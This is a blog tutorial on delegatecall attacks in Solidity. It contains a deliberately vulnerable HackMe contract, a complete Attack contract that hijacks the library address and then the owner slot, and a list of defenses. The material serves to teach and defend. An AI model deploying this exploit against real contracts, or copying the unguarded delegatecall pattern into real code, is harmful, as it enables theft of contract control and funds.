paint-brush
Smart Contract Vulnerabilities: Understanding and Safeguarding Against delegatecall Attacksby@codingjourneyfromunemployment
162 reads

Smart Contract Vulnerabilities: Understanding and Safeguarding Against delegatecall Attacks

by codingJourneyFromUnemploymentNovember 30th, 2023
Read on Terminal Reader
Read this story w/o Javascript
tldt arrow

Too Long; Didn't Read

Explore the intricacies of delegatecall attacks on smart contracts, shedding light on vulnerabilities in their logical design and storage slot distribution. A real-world attack scenario illustrates the manipulation of contract storage slots and the resulting security risks. Uncover defense strategies such as maintaining storage layout consistency, deploying proxy contracts, and leveraging established libraries like OpenZeppelin. Emphasizing the significance of strict access control, audits, testing, and continuous monitoring, this guide provides insights into fortifying smart contracts against potential exploits.
featured image - Smart Contract Vulnerabilities: Understanding and Safeguarding Against delegatecall Attacks
codingJourneyFromUnemployment HackerNoon profile picture

delegatecall attacks in smart contracts are fundamentally an exploitation of the delegatecall feature to manipulate contract storage slots. Despite their simplicity, these attacks involve vulnerabilities in the contract's logical design and storage slot distribution, and they remain common today. 🚨


This highlights the need for careful consideration in the design of smart contracts, especially when using delegatecall for inter-contract calls, as well as thorough testing and code auditing before deployment. In this article, I'll demonstrate a simple delegatecall attack example and how to prevent such attacks. 🛡️


First, Let's Describe the Process of a delegatecall Attack 🧐

Alice deploys two simple contracts: a Lib contract and a HackMe contract. She uses a function in the HackMe contract to delegatecall to a function in the Lib contract. This is common in scenarios like proxy contracts, upgradeable contracts, or modular contracts. The code is as follows: 👩‍💻


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract Lib {
    uint public someNumber;

    function doSomething(uint _num) public {
        someNumber = _num;
    }
}

contract HackMe {
    address public lib;
    address public owner;
    uint public someNumber;

    constructor(address _lib) {
        lib = _lib;
        owner = msg.sender;
    }

    function doSomething(uint _num) public {
        lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));
    }
}


The attacker, Eve, deploys a simple Attack contract with two key points. First, its storage layout must be identical to that of HackMe (we'll explain why later), and second, it must have a doSomething function with the same signature as in the Lib contract.


The code is as follows: 👩‍🔬

contract Attack {
    // Make sure the storage layout is the same as HackMe
    // This will allow us to correctly update the state variables
    address public lib;
    address public owner;
    uint public someNumber;

    HackMe public hackMe;

    constructor(HackMe _hackMe) {
        hackMe = HackMe(_hackMe);
    }

    function attack() public {
        // override address of lib
        hackMe.doSomething(uint(uint160(address(this))));
        // pass any number as input, the function doSomething() below will
        // be called
        hackMe.doSomething(1);
    }

    // function signature must match HackMe.doSomething()
    function doSomething(uint _num) public {
        owner = msg.sender;
    }
}


  1. Eve deploys the Attack contract, passing in a HackMe contract instance in the constructor. This creates a reference to a HackMe contract pointing to the one deployed by Alice. 🌐


  2. Eve then calls the Attack.attack function. Ethereum addresses are essentially 20-byte strings. The hackMe.doSomething(uint(uint160(address(this)))); statement first converts the Attack contract's address to a uint160 type, then to a uint type, to match the expected parameter in the Lib contract. 🔄


  3. This calls the lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num)); in HackMe, which in turn calls the doSomething function in Lib, aiming to modify the first state variable slot, slot 0, in HackMe. 🎯


  4. Due to delegatecall's nature, this modifies HackMe's slot 0 variable (lib) to the passed uint parameter (the Attack contract's address). 🔀


  5. The hackMe.doSomething(1); triggers a second delegatecall to the now modified lib in HackMe, which is the Attack contract's doSomething function, not Lib's. 🔄


  6. This is why the storage layout in Attack must match HackMe, and the function signature in Attack must match Lib's doSomething. 🧩


  7. The second delegatecall actually calls the owner = msg.sender; in Attack, modifying the second storage slot (slot 1) in HackMe to the caller's address. 🚚


  8. Again, due to delegatecall's nature, even though the function in Attack is called, it modifies the corresponding slot (slot 1) in HackMe, changing its owner to the attacker, Eve. 🎩


How to Prevent Such delegatecall Attacks 🛡️

This attack is simple but shows the need for cautious design in smart contracts to avoid unexpected storage overwrites and potential vulnerabilities. Based on the attack's principle, here are some ways to mitigate such risks: 🛠️


  1. Maintain storage layout consistency between the contract using delegatecall and the called contract. This avoids unintended storage overwrites due to layout mismatches. 🧱


  2. Use proxy contracts where the proxy contains little logic and forwards function calls via delegatecall to another (implementation) contract. This pattern reduces storage vulnerability risks. 🌉


  3. Utilize well-established libraries like OpenZeppelin for safe proxy implementations. These libraries reduce coding and logical errors, offering community-validated best practices. 📚


  4. Implement strict access control on contracts. Ensure only authorized addresses can call critical functions, especially those involving delegatecall. 🔐


  5. Conduct thorough audits and testing before deployment and continuous monitoring and updating post-deployment, to fix vulnerabilities if found. 🔍


That's all for this discussion on delegatecall vulnerabilities and security strategies. If you've made it this far, drop a like for the article! 👍


Also published here.